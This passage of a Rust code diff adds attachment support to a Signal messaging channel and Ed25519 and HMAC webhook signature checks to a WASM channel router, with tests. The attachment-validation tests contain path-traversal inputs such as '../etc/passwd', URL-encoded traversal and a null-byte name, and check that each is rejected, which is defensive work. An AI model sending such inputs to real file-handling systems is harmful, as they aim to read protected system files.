&& let StatusUpdate::ToolCompleted { name, success } = &status
&& let StatusUpdate::ToolCompleted { name, success, .. } = &status
&& let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str())
{
let (icon, color) = if *success {
@@ -957,9 +1053,10 @@ impl Channel for SignalChannel {
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let target = Self::parse_recipient_target(user_id);
let params = self.build_rpc_params(&target, Some(&response.content));
self.rpc_request("send", params).await?;
Ok(())
// Use shared helper for sending with attachments (includes validation)
self.send_with_attachments(&target, &response.content, &response.attachments)
.await
}
async fn health_check(&self) -> Result<(), ChannelError> {
@@ -982,12 +1079,34 @@ impl Channel for SignalChannel {
})
}
}
fn conversation_context(
&self,
metadata: &serde_json::Value,
) -> std::collections::HashMap<String, String> {
use std::collections::HashMap;
let mut ctx = HashMap::new();
if let Some(sender) = metadata.get("signal_sender").and_then(|v| v.as_str()) {
ctx.insert("sender".to_string(), sender.to_string());
}
if let Some(sender_uuid) = metadata.get("signal_sender_uuid").and_then(|v| v.as_str()) {
ctx.insert("sender_uuid".to_string(), sender_uuid.to_string());
}
if let Some(target) = metadata.get("signal_target").and_then(|v| v.as_str())
&& target.starts_with("group:")
{
ctx.insert("group".to_string(), target.to_string());
}
ctx
}
}
impl SignalChannel {
async fn send_status_message(&self, target: &str, message: &str) {
let target = Self::parse_recipient_target(target);
let params = self.build_rpc_params(&target, Some(message));
let params = self.build_rpc_params(&target, Some(message), None);
if let Err(e) = self.rpc_request("send", params).await {
tracing::warn!("Signal: failed to send status message: {}", e);
}
@@ -1187,6 +1306,7 @@ async fn sse_listener(
let reply_params = channel.build_rpc_params(
&SignalChannel::parse_recipient_target(&target),
Some(response),
None,
);
let _ = channel.rpc_request("send", reply_params).await;
// Don't send the /debug command to the agent.
@@ -1925,7 +2045,7 @@ mod tests {
fn build_rpc_params_direct_with_message() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string());
let params = ch.build_rpc_params(&target, Some("Hello!"));
let params = ch.build_rpc_params(&target, Some("Hello!"), None);
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
assert_eq!(params["account"], "+1234567890");
assert_eq!(params["message"], "Hello!");
@@ -1938,7 +2058,7 @@ mod tests {
fn build_rpc_params_direct_without_message() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string());
let params = ch.build_rpc_params(&target, None);
let params = ch.build_rpc_params(&target, None, None);
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
assert_eq!(params["account"], "+1234567890");
// No message key should be present for typing indicators.
@@ -1950,7 +2070,7 @@ mod tests {
fn build_rpc_params_group_with_message() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Group("abc123".to_string());
let params = ch.build_rpc_params(&target, Some("Group msg"));
let params = ch.build_rpc_params(&target, Some("Group msg"), None);
assert_eq!(params["groupId"], "abc123");
assert_eq!(params["account"], "+1234567890");
assert_eq!(params["message"], "Group msg");
@@ -1963,7 +2083,7 @@ mod tests {
fn build_rpc_params_group_without_message() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Group("abc123".to_string());
let params = ch.build_rpc_params(&target, None);
let params = ch.build_rpc_params(&target, None, None);
assert_eq!(params["groupId"], "abc123");
assert_eq!(params["account"], "+1234567890");
assert!(params.get("message").is_none());
@@ -1975,11 +2095,94 @@ mod tests {
let ch = make_channel()?;
let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
let target = RecipientTarget::Direct(uuid.to_string());
let params = ch.build_rpc_params(&target, Some("hi"));
let params = ch.build_rpc_params(&target, Some("hi"), None);
assert_eq!(params["recipient"], serde_json::json!([uuid]));
Ok(())
}
// ── build_rpc_params with attachments tests ─────────────────────────
#[test]
fn build_rpc_params_with_attachments() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string());
let attachments = vec!["/path/to/image.png".to_string()];
let params = ch.build_rpc_params(&target, Some("Check this!"), Some(&attachments));
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
assert_eq!(params["message"], "Check this!");
assert_eq!(
params["attachments"],
serde_json::json!(["/path/to/image.png"])
);
Ok(())
}
#[test]
fn build_rpc_params_with_multiple_attachments() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string());
let attachments = vec![
"/path/to/image.png".to_string(),
"/path/to/document.pdf".to_string(),
];
let params = ch.build_rpc_params(&target, Some("Files attached"), Some(&attachments));
assert_eq!(
params["attachments"],
serde_json::json!(["/path/to/image.png", "/path/to/document.pdf"])
);
Ok(())
}
#[test]
fn build_rpc_params_with_attachments_no_message() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string());
let attachments = vec!["/path/to/image.png".to_string()];
let params = ch.build_rpc_params(&target, None, Some(&attachments));
assert!(params.get("message").is_none());
assert_eq!(
params["attachments"],
serde_json::json!(["/path/to/image.png"])
);
Ok(())
}
#[test]
fn build_rpc_params_group_with_attachments() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Group("abc123".to_string());
let attachments = vec!["/path/to/photo.jpg".to_string()];
let params = ch.build_rpc_params(&target, Some("Group photo"), Some(&attachments));
assert_eq!(params["groupId"], "abc123");
assert_eq!(params["message"], "Group photo");
assert_eq!(
params["attachments"],
serde_json::json!(["/path/to/photo.jpg"])
);
Ok(())
}
// ── OutgoingResponse attachment tests ─────────────────────────────
#[test]
fn outgoing_response_with_attachments() {
let response = OutgoingResponse::text("Hello with file")
.with_attachments(vec!["/path/to/file.png".to_string()]);
assert_eq!(response.content, "Hello with file");
assert!(
response
.attachments
.contains(&"/path/to/file.png".to_string())
);
}
#[test]
fn outgoing_response_text_empty_attachments() {
let response = OutgoingResponse::text("Hello");
assert_eq!(response.content, "Hello");
assert!(response.attachments.is_empty());
}
// ── metadata assertion tests ────────────────────────────────────
#[test]
@@ -2450,4 +2653,114 @@ mod tests {
assert_eq!(ch.config.http_url, "http://127.0.0.1:8686");
Ok(())
}
// ── attachment path validation ───────────────────────────────────
#[test]
fn validate_attachment_paths_rejects_double_dot() {
let paths = vec!["../etc/passwd".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
let err = result.unwrap_err().to_string();
assert!(err.contains("forbidden") || err.contains("sandbox"));
}
#[test]
fn validate_attachment_paths_accepts_normal_paths() {
use std::fs;
// Create test files in sandbox
let base_dir = crate::bootstrap::ironclaw_base_dir();
// Create sandbox directory if it doesn't exist (needed for CI)
let _ = fs::create_dir_all(&base_dir);
let temp_dir = tempfile::tempdir_in(&base_dir).unwrap();
let file1 = temp_dir.path().join("file.txt");
let file2 = temp_dir.path().join("report.pdf");
fs::write(&file1, "test").unwrap();
fs::write(&file2, "test").unwrap();
let paths = vec![
file1.to_string_lossy().to_string(),
file2.to_string_lossy().to_string(),
];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_ok());
}
#[test]
fn validate_attachment_paths_rejects_nested_traversal() {
let paths = vec!["foo/../bar/../../secret.txt".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
}
#[test]
fn validate_attachment_paths_empty_ok() {
let paths: Vec<String> = vec![];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_ok());
}
#[test]
fn validate_attachment_paths_rejects_path_outside_sandbox() {
let paths = vec!["/tmp/evil.txt".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
let err = result.unwrap_err().to_string();
assert!(err.contains("sandbox"));
}
#[test]
fn validate_attachment_paths_rejects_url_encoded_traversal() {
let paths = vec!["%2e%2e%2fetc/passwd".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
}
#[test]
fn validate_attachment_paths_rejects_null_byte() {
let paths = vec!["file\0.txt".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
}
// ── conversation context ───────────────────────────────────────────
#[test]
fn conversation_context_extracts_sender() {
let ch = SignalChannel::new(make_config()).unwrap();
let metadata = serde_json::json!({
"signal_sender": "+1234567890",
"signal_sender_uuid": "uuid-123",
"signal_target": "+0987654321"
});
let ctx = ch.conversation_context(&metadata);
assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string()));
assert_eq!(ctx.get("sender_uuid"), Some(&"uuid-123".to_string()));
assert!(!ctx.contains_key("group"));
}
#[test]
fn conversation_context_extracts_group() {
let ch = SignalChannel::new(make_config()).unwrap();
let metadata = serde_json::json!({
"signal_sender": "+1234567890",
"signal_target": "group:mygroup"
});
let ctx = ch.conversation_context(&metadata);
assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string()));
assert_eq!(ctx.get("group"), Some(&"group:mygroup".to_string()));
}
#[test]
fn conversation_context_empty_for_unknown_channel() {
let ch = SignalChannel::new(make_config()).unwrap();
let metadata = serde_json::json!({
"unknown_key": "value"
});
let ctx = ch.conversation_context(&metadata);
assert!(ctx.is_empty());
}
}
+3
View File
@@ -80,6 +80,9 @@ pub enum WasmChannelError {
#[error("HTTP request error: {0}")]
HttpRequest(String),
#[error("WIT version mismatch: {0}")]
IncompatibleWitVersion(String),
}
impl From<crate::tools::wasm::WasmError> for WasmChannelError {
+166
View File
@@ -594,4 +594,170 @@ mod tests {
Some("200".to_string())
);
}
// === QA Plan P2 - 2.3: WASM channel lifecycle tests ===
#[test]
fn test_workspace_write_then_read_round_trip() {
// Full lifecycle: write in one "callback", commit, then read in a
// subsequent "callback" using the same store as the workspace reader.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// --- Callback 1: write workspace data ---
let caps = ChannelCapabilities::for_channel("telegram");
let mut state = ChannelHostState::new("telegram", caps);
state
.workspace_write("offset", "12345".to_string())
.unwrap();
state
.workspace_write("state.json", r#"{"ok":true}"#.to_string())
.unwrap();
let writes = state.take_pending_writes();
assert_eq!(writes.len(), 2);
store.commit_writes(&writes);
// --- Callback 2: read back the data written in callback 1 ---
// Build capabilities with the store as the workspace reader.
let mut caps2 = ChannelCapabilities::for_channel("telegram");
caps2.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![], // empty = all paths allowed
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let state2 = ChannelHostState::new("telegram", caps2);
// workspace_read prefixes path with "channels/telegram/" before delegating.
let offset = state2.workspace_read("offset").unwrap();
assert_eq!(offset, Some("12345".to_string()));
let json = state2.workspace_read("state.json").unwrap();
assert_eq!(json, Some(r#"{"ok":true}"#.to_string()));
// Non-existent key returns None.
let missing = state2.workspace_read("no_such_key").unwrap();
assert!(missing.is_none());
}
#[test]
fn test_workspace_overwrite_across_callbacks() {
// Verify that a second write to the same key overwrites the first.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// Callback 1: write initial value.
let caps = ChannelCapabilities::for_channel("slack");
let mut state = ChannelHostState::new("slack", caps);
state.workspace_write("cursor", "100".to_string()).unwrap();
let writes = state.take_pending_writes();
store.commit_writes(&writes);
// Callback 2: overwrite the same key.
let caps2 = ChannelCapabilities::for_channel("slack");
let mut state2 = ChannelHostState::new("slack", caps2);
state2.workspace_write("cursor", "200".to_string()).unwrap();
let writes2 = state2.take_pending_writes();
store.commit_writes(&writes2);
// Callback 3: read back -- should see the overwritten value.
let mut caps3 = ChannelCapabilities::for_channel("slack");
caps3.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let state3 = ChannelHostState::new("slack", caps3);
let value = state3.workspace_read("cursor").unwrap();
assert_eq!(value, Some("200".to_string()));
}
#[test]
fn test_emit_and_take_preserves_order_and_content() {
// Emit multiple messages, take them, verify order and content.
let caps = ChannelCapabilities::for_channel("discord");
let mut state = ChannelHostState::new("discord", caps);
let messages_data = vec![
("user-a", "Hello from A"),
("user-b", "Hello from B"),
("user-a", "Follow-up from A"),
];
for (uid, content) in &messages_data {
state
.emit_message(EmittedMessage::new(*uid, *content))
.unwrap();
}
assert_eq!(state.emitted_count(), 3);
let taken = state.take_emitted_messages();
assert_eq!(taken.len(), 3);
// Order preserved.
for (i, (uid, content)) in messages_data.iter().enumerate() {
assert_eq!(taken[i].user_id, *uid);
assert_eq!(taken[i].content, *content);
}
// Take empties the queue.
assert_eq!(state.emitted_count(), 0);
let taken2 = state.take_emitted_messages();
assert!(taken2.is_empty());
}
#[test]
fn test_channels_have_isolated_namespaces() {
// Two channels writing to the same relative path should not collide.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// Telegram writes "offset" = "100".
let caps_tg = ChannelCapabilities::for_channel("telegram");
let mut state_tg = ChannelHostState::new("telegram", caps_tg);
state_tg
.workspace_write("offset", "100".to_string())
.unwrap();
store.commit_writes(&state_tg.take_pending_writes());
// Slack writes "offset" = "200".
let caps_sl = ChannelCapabilities::for_channel("slack");
let mut state_sl = ChannelHostState::new("slack", caps_sl);
state_sl
.workspace_write("offset", "200".to_string())
.unwrap();
store.commit_writes(&state_sl.take_pending_writes());
// Reading back: each channel sees its own value.
let mut caps_tg_read = ChannelCapabilities::for_channel("telegram");
caps_tg_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let tg_reader = ChannelHostState::new("telegram", caps_tg_read);
assert_eq!(
tg_reader.workspace_read("offset").unwrap(),
Some("100".to_string())
);
let mut caps_sl_read = ChannelCapabilities::for_channel("slack");
caps_sl_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let sl_reader = ChannelHostState::new("slack", caps_sl_read);
assert_eq!(
sl_reader.workspace_read("offset").unwrap(),
Some("200".to_string())
);
}
}
+60 -7
View File
@@ -11,28 +11,45 @@ use std::sync::Arc;
use tokio::fs;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::wasm::capabilities::ChannelCapabilities;
use crate::channels::wasm::error::WasmChannelError;
use crate::channels::wasm::runtime::WasmChannelRuntime;
use crate::channels::wasm::schema::ChannelCapabilitiesFile;
use crate::channels::wasm::wrapper::WasmChannel;
use crate::db::SettingsStore;
use crate::pairing::PairingStore;
use crate::secrets::SecretsStore;
/// Loads WASM channels from the filesystem.
pub struct WasmChannelLoader {
runtime: Arc<WasmChannelRuntime>,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn SettingsStore>>,
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
}
impl WasmChannelLoader {
/// Create a new loader with the given runtime and pairing store.
pub fn new(runtime: Arc<WasmChannelRuntime>, pairing_store: Arc<PairingStore>) -> Self {
pub fn new(
runtime: Arc<WasmChannelRuntime>,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn SettingsStore>>,
) -> Self {
Self {
runtime,
pairing_store,
settings_store,
secrets_store: None,
}
}
/// Set the secrets store for host-based credential injection in WASM channels.
pub fn with_secrets_store(mut self, store: Arc<dyn SecretsStore + Send + Sync>) -> Self {
self.secrets_store = Some(store);
self
}
/// Load a single WASM channel from a file pair.
///
/// Expects:
@@ -64,6 +81,7 @@ impl WasmChannelLoader {
let cap_bytes = fs::read(cap_path).await?;
let cap_file = ChannelCapabilitiesFile::from_bytes(&cap_bytes)
.map_err(|e| WasmChannelError::InvalidCapabilities(e.to_string()))?;
cap_file.validate();
// Debug: log raw capabilities
tracing::debug!(
@@ -72,6 +90,14 @@ impl WasmChannelLoader {
"Parsed capabilities file"
);
// Check WIT version compatibility
crate::tools::wasm::loader::check_wit_version_compat(
name,
cap_file.wit_version.as_deref(),
crate::tools::wasm::WIT_CHANNEL_VERSION,
)
.map_err(|e| WasmChannelError::IncompatibleWitVersion(e.to_string()))?;
let caps = cap_file.to_capabilities();
// Debug: log resulting capabilities
@@ -119,13 +145,17 @@ impl WasmChannelLoader {
.await?;
// Create the channel
let channel = WasmChannel::new(
let mut channel = WasmChannel::new(
self.runtime.clone(),
prepared,
capabilities,
config_json,
self.pairing_store.clone(),
self.settings_store.clone(),
);
if let Some(ref secrets) = self.secrets_store {
channel = channel.with_secrets_store(Arc::clone(secrets));
}
tracing::info!(
name = name,
@@ -248,6 +278,20 @@ impl LoadedChannel {
.and_then(|f| f.webhook_secret_header())
}
/// Get the signature verification key secret name from capabilities.
pub fn signature_key_secret_name(&self) -> Option<String> {
self.capabilities_file
.as_ref()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()))
}
/// Get the HMAC-SHA256 signing secret name from capabilities.
pub fn hmac_secret_name(&self) -> Option<String> {
self.capabilities_file
.as_ref()
.and_then(|f| f.hmac_secret_name().map(|s| s.to_string()))
}
/// Get the webhook secret name from capabilities.
pub fn webhook_secret_name(&self) -> String {
self.capabilities_file
@@ -349,10 +393,7 @@ pub struct DiscoveredChannel {
/// Returns ~/.ironclaw/channels/
#[allow(dead_code)]
pub fn default_channels_dir() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("channels")
ironclaw_base_dir().join("channels")
}
#[cfg(test)]
@@ -416,11 +457,23 @@ mod tests {
assert!(channels.contains_key("channel"));
}
#[test]
fn test_loaded_channel_signature_key_none_without_caps() {
// We can't easily construct a WasmChannel without a runtime, so test
// the delegation logic directly: when capabilities_file is None, the
// chain returns None (same logic as LoadedChannel::signature_key_secret_name).
let cap_file: Option<crate::channels::wasm::schema::ChannelCapabilitiesFile> = None;
let result = cap_file
.as_ref()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()));
assert_eq!(result, None);
}
#[tokio::test]
async fn test_loader_invalid_name() {
let config = WasmChannelRuntimeConfig::for_testing();
let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap());
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()));
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()), None);
let dir = TempDir::new().unwrap();
let wasm_path = dir.path().join("test.wasm");
+3
View File
@@ -86,6 +86,9 @@ mod loader;
mod router;
mod runtime;
mod schema;
pub(crate) mod signature;
#[allow(dead_code)]
pub(crate) mod storage;
mod wrapper;
// Core types
+855
View File
@@ -42,6 +42,10 @@ pub struct WasmChannelRouter {
secrets: RwLock<HashMap<String, String>>,
/// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token").
secret_headers: RwLock<HashMap<String, String>>,
/// Ed25519 public keys for signature verification by channel name (hex-encoded).
signature_keys: RwLock<HashMap<String, String>>,
/// HMAC-SHA256 signing secrets for signature verification by channel name (Slack-style).
hmac_secrets: RwLock<HashMap<String, String>>,
}
impl WasmChannelRouter {
@@ -52,6 +56,8 @@ impl WasmChannelRouter {
path_to_channel: RwLock::new(HashMap::new()),
secrets: RwLock::new(HashMap::new()),
secret_headers: RwLock::new(HashMap::new()),
signature_keys: RwLock::new(HashMap::new()),
hmac_secrets: RwLock::new(HashMap::new()),
}
}
@@ -130,6 +136,8 @@ impl WasmChannelRouter {
self.channels.write().await.remove(channel_name);
self.secrets.write().await.remove(channel_name);
self.secret_headers.write().await.remove(channel_name);
self.signature_keys.write().await.remove(channel_name);
self.hmac_secrets.write().await.remove(channel_name);
// Remove all paths for this channel
self.path_to_channel
@@ -174,6 +182,54 @@ impl WasmChannelRouter {
pub async fn list_paths(&self) -> Vec<String> {
self.path_to_channel.read().await.keys().cloned().collect()
}
/// Register an Ed25519 public key for signature verification.
///
/// Validates that the key is valid hex encoding of a 32-byte Ed25519 public key.
/// Channels with a registered key will have Discord-style Ed25519
/// signature validation performed before forwarding to WASM.
pub async fn register_signature_key(
&self,
channel_name: &str,
public_key_hex: &str,
) -> Result<(), String> {
use ed25519_dalek::VerifyingKey;
let key_bytes = hex::decode(public_key_hex).map_err(|e| format!("invalid hex: {e}"))?;
VerifyingKey::try_from(key_bytes.as_slice())
.map_err(|e| format!("invalid Ed25519 public key: {e}"))?;
self.signature_keys
.write()
.await
.insert(channel_name.to_string(), public_key_hex.to_string());
Ok(())
}
/// Get the signature verification key for a channel.
///
/// Returns `None` if no key is registered (no signature check needed).
pub async fn get_signature_key(&self, channel_name: &str) -> Option<String> {
self.signature_keys.read().await.get(channel_name).cloned()
}
/// Register an HMAC-SHA256 signing secret for signature verification.
///
/// Channels with a registered secret will have Slack-style HMAC-SHA256
/// signature validation performed before forwarding to WASM.
pub async fn register_hmac_secret(&self, channel_name: &str, secret: &str) {
self.hmac_secrets
.write()
.await
.insert(channel_name.to_string(), secret.to_string());
}
/// Get the HMAC signing secret for a channel.
///
/// Returns `None` if no secret is registered (no HMAC check needed).
pub async fn get_hmac_secret(&self, channel_name: &str) -> Option<String> {
self.hmac_secrets.read().await.get(channel_name).cloned()
}
}
impl Default for WasmChannelRouter {
@@ -342,6 +398,108 @@ async fn webhook_handler(
}
}
// Ed25519 signature verification (Discord-style)
if let Some(pub_key_hex) = state.router.get_signature_key(channel_name).await {
let sig_hex = headers
.get("x-signature-ed25519")
.and_then(|v| v.to_str().ok());
let timestamp = headers
.get("x-signature-timestamp")
.and_then(|v| v.to_str().ok());
match (sig_hex, timestamp) {
(Some(sig), Some(ts)) => {
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as i64;
if !crate::channels::wasm::signature::verify_discord_signature(
&pub_key_hex,
sig,
ts,
&body,
now_secs,
) {
tracing::warn!(
channel = %channel_name,
"Ed25519 signature verification failed"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Invalid signature"
})),
);
}
tracing::debug!(channel = %channel_name, "Ed25519 signature verified");
}
_ => {
tracing::warn!(
channel = %channel_name,
"Signature headers missing but key is registered"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Missing signature headers"
})),
);
}
}
}
// HMAC-SHA256 signature verification (Slack-style)
if let Some(hmac_secret) = state.router.get_hmac_secret(channel_name).await {
let timestamp = headers
.get("x-slack-request-timestamp")
.and_then(|v| v.to_str().ok());
let sig_header = headers
.get("x-slack-signature")
.and_then(|v| v.to_str().ok());
match (timestamp, sig_header) {
(Some(ts), Some(sig)) => {
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as i64;
if !crate::channels::wasm::signature::verify_slack_signature(
&hmac_secret,
ts,
&body,
sig,
now_secs,
) {
tracing::warn!(
channel = %channel_name,
"HMAC-SHA256 signature verification failed"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Invalid Slack signature"
})),
);
}
tracing::debug!(channel = %channel_name, "HMAC-SHA256 signature verified");
}
_ => {
tracing::warn!(
channel = %channel_name,
"Slack signature headers missing but secret is registered"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Missing Slack signature headers"
})),
);
}
}
}
// Convert headers to HashMap
let headers_map: HashMap<String, String> = headers
.iter()
@@ -516,6 +674,7 @@ mod tests {
capabilities,
"{}".to_string(),
Arc::new(PairingStore::new()),
None,
))
}
@@ -644,4 +803,700 @@ mod tests {
.await;
assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret");
}
// ── Category 3: Router HMAC Secret Management ───────────────────────
#[tokio::test]
async fn test_register_and_get_hmac_secret() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("slack");
router.register(channel, vec![], None, None).await;
let hmac_secret = "my-slack-signing-secret";
router.register_hmac_secret("slack", hmac_secret).await;
let retrieved = router.get_hmac_secret("slack").await;
assert_eq!(retrieved, Some(hmac_secret.to_string()));
}
#[tokio::test]
async fn test_no_hmac_secret_returns_none() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("slack");
router.register(channel, vec![], None, None).await;
// Slack has no HMAC secret registered
let secret = router.get_hmac_secret("slack").await;
assert!(secret.is_none());
}
#[tokio::test]
async fn test_unregister_removes_hmac_secret() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("slack");
let endpoints = vec![RegisteredEndpoint {
channel_name: "slack".to_string(),
path: "/webhook/slack".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
router.register(channel, endpoints, None, None).await;
router.register_hmac_secret("slack", "signing-secret").await;
// Secret should exist
assert!(router.get_hmac_secret("slack").await.is_some());
// Unregister
router.unregister("slack").await;
// Secret should be gone
assert!(router.get_hmac_secret("slack").await.is_none());
}
// ── Category 4: Router Signature Key Management ─────────────────────
#[tokio::test]
async fn test_register_and_get_signature_key() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let fake_pub_key = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2";
router
.register_signature_key("discord", fake_pub_key)
.await
.unwrap();
let key = router.get_signature_key("discord").await;
assert_eq!(key, Some(fake_pub_key.to_string()));
}
#[tokio::test]
async fn test_no_signature_key_returns_none() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("slack");
router.register(channel, vec![], None, None).await;
// Slack has no signature key registered
let key = router.get_signature_key("slack").await;
assert!(key.is_none());
}
#[tokio::test]
async fn test_unregister_removes_signature_key() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
router.register(channel, endpoints, None, None).await;
// Use a valid 32-byte Ed25519 key for this test
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
router
.register_signature_key("discord", valid_key)
.await
.unwrap();
// Key should exist
assert!(router.get_signature_key("discord").await.is_some());
// Unregister
router.unregister("discord").await;
// Key should be gone
assert!(router.get_signature_key("discord").await.is_none());
}
// ── Key Validation Tests ──────────────────────────────────────────
#[tokio::test]
async fn test_register_valid_signature_key_succeeds() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// Valid 32-byte Ed25519 public key (from test keypair)
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
let result = router.register_signature_key("discord", valid_key).await;
assert!(result.is_ok(), "Valid Ed25519 key should be accepted");
}
#[tokio::test]
async fn test_register_invalid_hex_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let result = router
.register_signature_key("discord", "not-valid-hex-zzz")
.await;
assert!(result.is_err(), "Invalid hex should be rejected");
}
#[tokio::test]
async fn test_register_wrong_length_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// 16 bytes instead of 32
let short_key = hex::encode([0u8; 16]);
let result = router.register_signature_key("discord", &short_key).await;
assert!(result.is_err(), "Wrong-length key should be rejected");
}
#[tokio::test]
async fn test_register_empty_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let result = router.register_signature_key("discord", "").await;
assert!(result.is_err(), "Empty key should be rejected");
}
#[tokio::test]
async fn test_valid_key_is_retrievable() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
router
.register_signature_key("discord", valid_key)
.await
.unwrap();
let stored = router.get_signature_key("discord").await;
assert_eq!(stored, Some(valid_key.to_string()));
}
#[tokio::test]
async fn test_invalid_key_does_not_store() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// Attempt to register invalid key
let _ = router
.register_signature_key("discord", "not-valid-hex")
.await;
// Should not have stored anything
let stored = router.get_signature_key("discord").await;
assert!(stored.is_none(), "Invalid key should not be stored");
}
// ── Webhook Handler Integration Tests ─────────────────────────────
use axum::Router as AxumRouter;
use axum::body::Body;
use axum::http::{Request, StatusCode};
use tower::ServiceExt;
use crate::channels::wasm::router::create_wasm_channel_router;
use ed25519_dalek::{Signer, SigningKey};
/// Helper to create a router with a registered channel at /webhook/discord.
async fn setup_discord_router() -> (Arc<WasmChannelRouter>, AxumRouter) {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
wasm_router.register(channel, endpoints, None, None).await;
let app = create_wasm_channel_router(wasm_router.clone(), None);
(wasm_router, app)
}
/// Helper: generate a test keypair.
fn test_signing_key() -> SigningKey {
SigningKey::from_bytes(&[
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
0x1c, 0xae, 0x7f, 0x60,
])
}
#[tokio::test]
